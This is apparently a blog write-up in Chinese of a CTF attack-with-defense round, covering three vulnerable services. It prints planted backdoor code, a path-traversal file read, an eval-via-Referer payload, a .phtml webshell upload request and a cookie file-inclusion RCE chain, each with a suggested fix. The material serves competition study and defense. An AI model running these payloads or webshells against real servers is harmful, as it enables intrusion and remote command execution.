第一届长城杯信息安全铁人三项赛半决赛(第三赛区)AWD WP

rank: 6

tomcat

漏洞1-文件上传getshell

data.sql泄露教师账号密码

1
INSERT INTO `teacher` VALUES ('admin','admin1','','','admin@qq.com');

登录后台login.jsp

后台用户上传头像处存在任意文件上传

攻击:

修复:

修改后台密码/修改上传代码/增加waf

漏洞2-默认后门

\webapps\ROOT\forget.jsp存在后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<%
String cmdParameter = request.getParameter("cmd1");
if (cmdParameter != null && !cmdParameter.isEmpty()) {
try {
// 构建系统命令
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("sh", "-c", cmdParameter);

// 执行命令并获取输出
Process process = processBuilder.start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
StringBuilder output = new StringBuilder();
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}

// 输出命令执行结果
out.println("Command executed successfully. Output:\n" + output.toString());
} catch (IOException e) {
out.println("Error executing command: " + e.getMessage());
}
}
%>

攻击:

开局很快都修复了,手动交了两三个

修复:

把密码改了

cms

漏洞1-任意文件读取

\app\frontend\controller\Ajax.php 存在任意文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function getfile($file)
{
$file = root_path().'public/storage/uploads/'.$file;
// 检查文件是否存在
if (!file_exists($file)) {
$result = ['code' => 0, 'msg' => lang('file not exists!')];
return json($result);
}

// 获取文件名
$fileName = basename($file);

// 设置HTTP响应头
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . $fileName);
header('Content-Length: ' . filesize($file));

// 读取文件并输出给用户
readfile($file);

// 终止脚本继续执行
exit;
}

攻击:

1
/frontend/Ajax/getfile?file=../../../../../../flag

修复:

增加过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function getfile($file)
{
$file = root_path().'public/storage/uploads/'.$file;
// 检查文件是否存在

$file = str_replace("../","",$file);
$file = str_replace("flag","",$file);

if (!file_exists($file)) {
$result = ['code' => 0, 'msg' => lang('file not exists!')];
return json($result);
}

// 获取文件名
$fileName = basename($file);

// 设置HTTP响应头
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . $fileName);
header('Content-Length: ' . filesize($file));

// 读取文件并输出给用户
readfile($file);

// 终止脚本继续执行
exit;
}

漏洞2-默认后门

\app\api\controller\v1\Token.php存在任意命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
namespace app\api\controller\v1;

use fun\auth\Api;
use think\App;
use think\facade\Request;
use think\facade\Config;

/**
* 生成token
*/
class Token extends Api
{
protected $noAuth = ['*'];

public function __construct(App $app)
{
parent::__construct($app);
//跨域
header('Access-Control-Allow-Origin:*');
header('Access-Control-Allow-Headers:Accept,Referer,Host,Keep-Alive,User-Agent,X-Requested-With,Cache-Control,Content-Type,Cookie,token');
header('Access-Control-Allow-Credentials:true');
header('Access-Control-Allow-Methods:GET, POST, PATCH, PUT, DELETE,OPTIONS');

}

public function build(Request $request)
{
$class = ucwords('\\fun\\auth\\'.ucfirst($this->type).'Token');
$token = $class::instance();
$token->build();

}
public function refresh(Request $request)
{
$class = ucwords('\\fun\\auth\\'.ucfirst($this->type).'Token');
$token = $class::instance();
$token->refresh();

}
public function test(){
@eval(getallheaders()['Referer']);
}
}

攻击:

1
2
3
4
5
GET /api/v1.token/test HTTP/1.1
Host: 8.147.134.118:24631
Referer:system("cat /flag");


修复:

添加注释

1
2
3
public function test(){
//@eval(getallheaders()['Referer']);
}

漏洞3-文件上传getshell

貌似还有个任意文件上传,比赛的时候没时间看了

赛后复现

注册后的基本设置有上传头像的地方

定位代码

/app/common/service/UploadService.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/**
* @param $file
* @return bool
* @throws Exception
* 检测文件是否符合要求
*/
protected function checkFile()
{
//禁止上传PHP和HTML.ssh等脚本文件
if (
// in_array($this->file->getMime(),
// ['application/octet-stream', 'text/html','application/x-javascript','text/x-php','aplication/x-msdownload','application/java-archive'])
// ||
in_array($this->file->extension(),
['php', 'html', 'htm','xml','ssh','bat','jar','java'])) {
throw new Exception(lang('File format is limited'));
}
//文件大小限制
if (($this->file->getSize() > $this->fileMaxsize*1024)) {
throw new Exception(lang('File size is limited'));
}
//文件类型限制
if ($this->fileExt !='*' && !in_array($this->file->extension(),explode(',',$this->fileExt))){
throw new Exception(lang('File type is limited'));
}
$file_ext = $this->file->extension();
if (in_array($this->file->getMime(), ['image/gif', 'image/jpg', 'image/jpeg', 'image/bmp','image/png', 'image/webp']) || in_array($file_ext, ['gif', 'jpg', 'jpeg', 'bmp', 'png','webp'])) {
$imgInfo = getimagesize($this->file->getPathname());
if (!$imgInfo || !isset($imgInfo[0]) || !isset($imgInfo[1])) {
throw new Exception(lang('Uploaded file is not a valid image'));
}
$this->width = isset($imgInfo[0]) ? $imgInfo[0] : 0;
$this->height = isset($imgInfo[1]) ? $imgInfo[1] : 0;
}
return true;
}

限制了部分后缀,用phtml绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST未授权上传,不需要登录

POST /frontend/ajax/uploads HTTP/1.1
Host: 192.168.100.129
Content-Length: 206
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDbISZWkAvBPdc8u0
Origin: http://192.168.100.129
Referer: http://192.168.100.129/frontend/member/set.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryDbISZWkAvBPdc8u0
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/jpeg

<?php
eval($_POST['a']);
------WebKitFormBoundaryDbISZWkAvBPdc8u0--

修复

便捷的:增加对phtml的过滤

1
2
3
4
in_array($this->file->extension(),
['php', 'html', 'htm','xml','ssh','bat','jar','java','phtml'])) {
throw new Exception(lang('File format is limited'));
}

或者稍微麻烦一点的,增加一个白名单

/app/frontend/controller/Ajax.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* @return \think\response\Json
* @throws \think\db\exception\DataNotFoundException
* @throws \think\db\exception\DbException
* @throws \think\db\exception\ModelNotFoundException
* 文件上传总入口 集成qiniu ali tenxunoss
*/
public function uploads()
{
try {

$list = ['jpg','png','gif','jpeg'];
$file = $this->request->file('file');
$ext = strtolower(pathinfo($file->getOriginalName(), PATHINFO_EXTENSION));
if (!in_array($ext,$list)){
throw new Exception('NO');
}

$upload = UploadService::instance();
$result = $upload->uploads(session('member.id'),0);
return json($result);
} catch (Exception $e) {
$this->error($e->getMessage());
}
}

漏洞4-后台文件上传+文件包含RCE

赛后复现

F12 泄露账号密码

1
2
3
4
5
6
7
8
9
<script>
layui.use(['layer', 'jquery'], function () {
var $ = layui.jquery,
layer = layui.layer;
$('.layui-tips').hover(function () {
layer.tips('账号admin,密码123456');
})
})
</script>

访问/backend登录后台

发现有一个离线安装插件的功能

审计代码

/app/backend/controller/Addon.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* @NodeAnnotation(title="离线安装")
* @throws Exception
*/
public function localinstall()
{
if($this->request->isAjax()){
set_time_limit(0);
$urls = parse_url(input('url'));
$file = $urls['path']??'';
if($file && file_exists('.'.$file)){
try {
$res = ZipHelper::unzip('.'.$file,'../addons');
}catch (\Exception $e){
$this->error($e->getMessage());
}
if($res){
$index = strpos($res, '/');
$addon = $index ? substr($res,0,$index):$res;
$this->install($addon,'local');
}
$this->success('upload success');
}
}
}

/vendor/funadmin/fun-addons/src/helper/ZipHelper.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* 解压文件
* @param $zipFile 相对文件路劲
* @param $folderPath 相对文件夹路劲
*/
public static function unzip( $zipFile,$folderPath,$addon=0)
{
// Initialize archive object
if (!class_exists('ZipArchive')) {
throw new \Exception('ZinArchive not find');
}
$zip = new \ZipArchive();
try {
$zip->open($zipFile);
} catch (\Exception $e) {
$zip->close();
throw new \Exception('Unable to open the zip file');
}
if (!is_dir($folderPath)) {
@mkdir($folderPath, 0755);
}
$fileDir = trim($zip->getNameIndex(0), '/');
//解压压缩包
try {
$zip->extractTo($folderPath);
} catch (\Exception $e) {
throw new \Exception('Unable to extract the file');
} finally {
$zip->close();
}
return $fileDir;
}

可以发现虽然报错了,但是依然会解压到addons目录下

但是无法访问到,这里需要用到文件上传+文件包含组合拳进行利用

/app/backend/controller/Ajax.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* @return \think\response\Jsonp
* 自动加载语言函数
*/
public function lang()
{
header('Content-Type: application/javascript');
$name = $this->request->get("controllername");
$name = strtolower(parse_name($name, 1));
$app = $this->request->get("app");
return jsonp($this->loadlang($name, $app))->code(200)->options([
'var_jsonp_handler' => 'callback',
'default_jsonp_handler' => 'jsonpReturn',
'json_encode_param' => JSON_PRETTY_PRINT | JSON_FORCE_OBJECT |JSON_UNESCAPED_UNICODE,
])->allowCache(true)->expires(7200);
}

跟进loadlang方法

/app/common/controller/Backend.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function loadlang($name,$app)
{
$lang = cookie(config('lang.cookie_var'));
if($app && $app!=='backend'){
$res = Lang::load([
$this->app->getBasePath() .'backend'. DS . 'lang' . DS . $lang . '.php',
$this->app->getBasePath() .$app. DS . 'lang' . DS . $lang . '.php',
$this->app->getBasePath() .$app. DS . 'lang' . DS . $lang . DS . str_replac('.', DS, $name) . '.php',
]);
}else{
$res = Lang::load([
$this->app->getAppPath() . 'lang' . DS . $lang . '.php',
$this->app->getAppPath() . 'lang' . DS . $lang . DS . str_replace('.', DS,$name) . '.php',
]);
}
return $res;
}

很明显,从 lang.cookie_var 配置中获取一个cookie值并进行文件包含

查看cookie_var的名字

/config/lang.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
return [
// 默认语言
'default_lang' => Env::get('lang.default_lang', 'zh-cn'),
// 允许的语言列表
'allow_lang_list' => ['zh-cn','en-us'],
// 多语言自动侦测变量名 / 自动侦测的GET变量名
'detect_var' => 'lang',
// 是否使用Cookie记录
'use_cookie' => true,
// 多语言cookie变量
'cookie_var' => 'think_lang',
// 扩展语言包
'extend_list' => [],
// Accept-Language转义为对应语言包名称
'accept_language' => [
'zh-hans-cn' => 'zh-cn',
],
// 是否支持语言分组
'allow_group' => true,
];

因为是全局变量,所以任何地方都可以调用

包含的时候注意后缀 .php 已经存在了,不需要再写

1
2
3
4
5
6
7
POST / HTTP/1.1
Host: 0dbaba9b-169b-4afb-ab9d-71f60e228260.ctfd.lewiserii.top:8080
Cookie: think_lang=/../../../addons/shell;
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

a=system('whoami');

修复

对 $lang 进行过滤即可

DocToolkit

漏洞1-默认后门

存在默认后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.example.doctoolkit.controller.test;

import java.io.IOException;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RequestMapping({"/test"})
@RestController
/* loaded from: DocToolkit-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/example/doctoolkit/controller/test/TestController.class */
public class TestController {
@RequestMapping({"/backd0or"})
public String backdoor(@RequestParam("cmd") String command) throws IOException {
if (command != null) {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("windows")) {
isLinux = false;
}
byte[] bytes = new byte[1024];
String[] cmds = isLinux ? new String[]{"bash", "-c", command} : new String[]{"cmd.exe", "/c", command};
Process process = new ProcessBuilder(cmds).start();
int len = process.getInputStream().read(bytes);
String output = new String(bytes, 0, len);
return output;
}
return null;
}
}

攻击:

/test/backd0or?cmd=cat /flag

修复:

没修复成功。。

漏洞2-shiro反序列化

有shiro依赖

在shiro的配置文件中发现了固定秘钥

直接用工具打就好了,然后抓流量进行批量


第一届长城杯信息安全铁人三项赛半决赛(第三赛区)AWD WP
https://www.dr0n.top/posts/359b7a99/
作者
dr0n
发布于
2024年4月21日
更新于
2024年5月15日
许可协议